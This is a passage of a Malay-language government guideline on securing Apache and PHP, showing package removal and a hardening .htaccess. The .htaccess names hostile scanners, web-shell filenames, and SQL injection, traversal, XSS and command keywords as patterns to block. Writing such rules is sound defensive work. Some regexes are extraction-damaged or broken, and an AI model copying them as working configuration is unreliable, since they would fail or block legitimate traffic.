muzzotechspot.blogspot.com muka surat | 16

Page 17: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

Memadam Instalasi PHP dan Apache

5. Login menggunakan terminal ke dalam server

6. Laksana command berikut :# yum remove httpd

7. Paparan berikut akan keluar :

Dependencies Resolved

======================================================== Package Arch Version Repository Size========================================================Removing: httpd i386 2.2.22-jason.1 installed 7.8 MRemoving for dependencies: httpd-devel i386 2.2.22-jason.1 installed 525 k mod-pagespeed-stable i386 1.1.23.2-2258 installed 9.8 M mod_evasive i386 1.10.1-6.jason.2 installed 75 k mod_security i386 2.6.8-2.el5 installed 367 k mod_ssl i386 1:2.2.22-jason.1 installed 723 k php i386 5.3.19-1.el5.remi installed 7.0 M webalizer i386 2.01_10-30.1 installed 251 k

Transaction Summary========================================================Install 0 Package(s)Update 0 Package(s)Remove 8 Package(s)

Is this ok [y/N]:

* yum akan laksana uninstall perisian dan perisian lain berkaitan juga termasuk PHP.

8. Taip Y dan proses removal akan berlaku sehingga berjaya.

muzzotechspot.blogspot.com muka surat | 17

Page 18: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Disediakan oleh PSUK(KR) | 02.01.2013

KAWALAN PADA HTACCESS

muzzotechspot.blogspot.com muka surat | 1

Page 19: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Disediakan oleh PSUK(KR) | 02.01.2013

#EDITED by GCERT MAMPU dan CERT Pahang# Mesej yang perlu dipaparkan kepada penyerang ErrorDocument 403 "Hack attempts detected!" # Aktifkan modul rewrite RewriteEngine On # Semak arahan GET dan POST RewriteCond %{REQUEST_METHOD} (GET|POST) [NC] # Halang pengunaan perisian web vulnerability scanning RewriteCond %{HTTP_USER_AGENT} ^.*(nessus|havij|libwww-perl|python|nikto|acunetix|Morfeus|w3af).* [NC,OR] # Halang serangan SQL injection RewriteCond %{QUERY_STRING} .*(union|select|cast|char|convert|declare|delete|drop|exec|insert|meta|script|hex|unhex|concat|set|truncate|update).* [NC] # Halang serangan directory traversal dan Null byte injectionRewriteCond %{QUERY_STRING} (\.\./|\.\.%2f|\.\.%u2215|%u002e%u002e%u2215|%252e%252e%252f|%00|\\x00|\\u00|%5C00|&#|&#x|%09|%0D%0A) [NC,OR] # Halang serangan Remote/Local File Inclusion RewriteCond %{QUERY_STRING} (http:\/\/)*(\?)$ [NC,OR] # Halang PHP Version Probing RewriteCond %{QUERY_STRING} (?=PHP).* [NC,OR] # Halang XSS Probing RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR] # Arahkan server untuk halang permintaan dengan kod 403 # dan berhenti proses permintaan pengguna RewriteRule (.*) - [F,L]

muzzotechspot.blogspot.com muka surat | 2

Page 20: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Disediakan oleh PSUK(KR) | 02.01.2013

# Halang capaian untuk fail-fail berikut <FilesMatch "(\.inc|.*sql|.*sh|.*html|.*htm|.*~|.*bk|.*bak.php|.bk.php|.*bakup.php|.*bak|.*bakup|.*backup|.*backup.tgz|.*backup.tar.gz|.*backup.tar|.*backup.gz|.*backup.bz2|.*backup.zip)$"> Order allow,deny Deny from all </FilesMatch> # Halang capaian kepada web-based backdoor <FilesMatch "(c99|scan777|r57|c0d3rz|shell|5h3ll|sh3ll|sh311|backdoor|b4ckd00r|pHpINJ|azrail|ayyildiz)"> Order allow,deny Deny from all </FilesMatch>

#...................................................................................................

# Tidak papar maklumat directoryIndexIgnore *# Halang script executionAddHandler cgi-script .php .php2 .php3 .php4 .php5 .php6 .php7 .php8 .pl .py .js .jsp .asp .htm .html .shtml .sh .cgiOptions -ExecCGI -Indexes

# Only allow access to this directory if they are coming from your domain; excluding you, your server, Google and any other IPs#RewriteEngine On#RewriteCond %{REMOTE_ADDR} !^(xxx\.xxx\.xxx\.xxx|xxx\.xxx\xxx\.xxx|66\.249\.)#RewriteCond %{HTTP_HOST} !^(127\.0\.0\.0|localhost) [NC]#RewriteCond %{HTTP_REFERER} !^https?://(.+\.)?yourdomain\.com/ [NC]#RewriteRule .* http://yourdomain.com/ [L]

# Kukuhkan kawalan php.ini dan .htaccessRewriteRule ^(php\.ini|\.htaccess) - [NC,F]

muzzotechspot.blogspot.com muka surat | 3

Page 21: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Disediakan oleh PSUK(KR) | 02.01.2013

# Halang shell uploaders, htshells, dan other baddiesRewriteCond %{REQUEST_URI} ((php|my|bypass)?shell|remview.*|phpremoteview.*|sshphp.*|pcom|nstview.*|c99|c100|r57|webadmin.*|phpget.*|phpwriter.*|fileditor.*|locus7.*|storm7.*)\.(p?s?x?htm?l?|txt|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?|sql|xml) [NC,OR]RewriteCond %{REQUEST_URI} (\.exe|\.php\?act=|\.tar|_vti|afilter=|algeria\.php|chbd|chmod|cmd|command|db_query|download_file|echo|edit_file|eval|evil_root|exploit|find_text|fopen|fsbuff|fwrite|friends_links\.|ftp|gofile|grab|grep|htshell|\ -dump|logname|lynx|mail_file|md5|mkdir|mkfile|mkmode|MSOffice|muieblackcat|mysql|owssvr\.dll|passthru|popen|proc_open|processes|pwd|rmdir|root|safe0ver|search_text|selfremove|setup\.php|shell|ShellAdresi\.TXT|spicon|sql|ssh|system|telnet|trojan|typo3|uname|unzip|w00tw00t|whoami|xampp) [NC,OR]RewriteCond %{QUERY_STRING} (\.exe|\.tar|act=|afilter=|alter|benchmark|chbd|chmod|cmd|command|cast|char|concat|convert|create|db_query|declare|delete|download_file|drop|edit_file|encode|environ|eval|exec|exploit|find_text|fsbuff|ftp|friends_links\.|globals|gofile|grab|insert|localhost|logname|loopback|mail_file|md5|meta|mkdir|mkfile|mkmode|mosconfig|muieblackcat|mysql|order|passthru|popen|proc_open|processes|pwd|request|rmdir|root|scanner|script|search_text|select|selfremove|set|shell|sql|sp_executesql|spicon|ssh|system|telnet|trojan|truncate|uname|union|unzip|whoami) [NC] RewriteRule .* - [F]

# Disable hotlinking of imagesRewriteCond %{HTTP_REFERER} !^$RewriteCond %{REQUEST_FILENAME} -fRewriteCond %{REQUEST_FILENAME} \.(jpe?g?|png|gif|ico|pdf|flv|swf|gz)$ [NC]RewriteCond %{HTTP_REFERER} !^https?://([^.]+\.)?yourdomain\. [NC]RewriteRule \.(jpe?g?|png|gif|ico|pdf|flv|swf|gz)$ - [NC,F]

# File Upload Specials# Only the following file extensions are allowedOrder Allow,DenyDeny from all<FilesMatch "\.([Jj][Pp][Ee]?[Gg]?|[Pp][Nn][Gg]|[Gg][Ii][Ff]|[Bb][Mm]|[Pp][Pp][Dd][Ff][Tt][Xx][Tt][Dd][Oo][Cc][Xx][Ll][Ss][Pp][Pp][Tt][Oo][Dd][Tt][Oo][Dd][Ss][Oo][Dd][Pp][Jj][Pp][Gg])$">Allow from all</FilesMatch>

muzzotechspot.blogspot.com muka surat | 4

Page 22: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Disediakan oleh PSUK(KR) | 02.01.2013

# File Upload Specials# Block double extensions from being uploaded or accessed, including htshells<FilesMatch ".*\.([^.]+)\.([^.]+)$">Order Deny,AllowDeny from all</FilesMatch>

# Only allow GET and POST HTTP methods<LimitExcept GET POST>Deny from all</LimitExcept>

muzzotechspot.blogspot.com muka surat | 5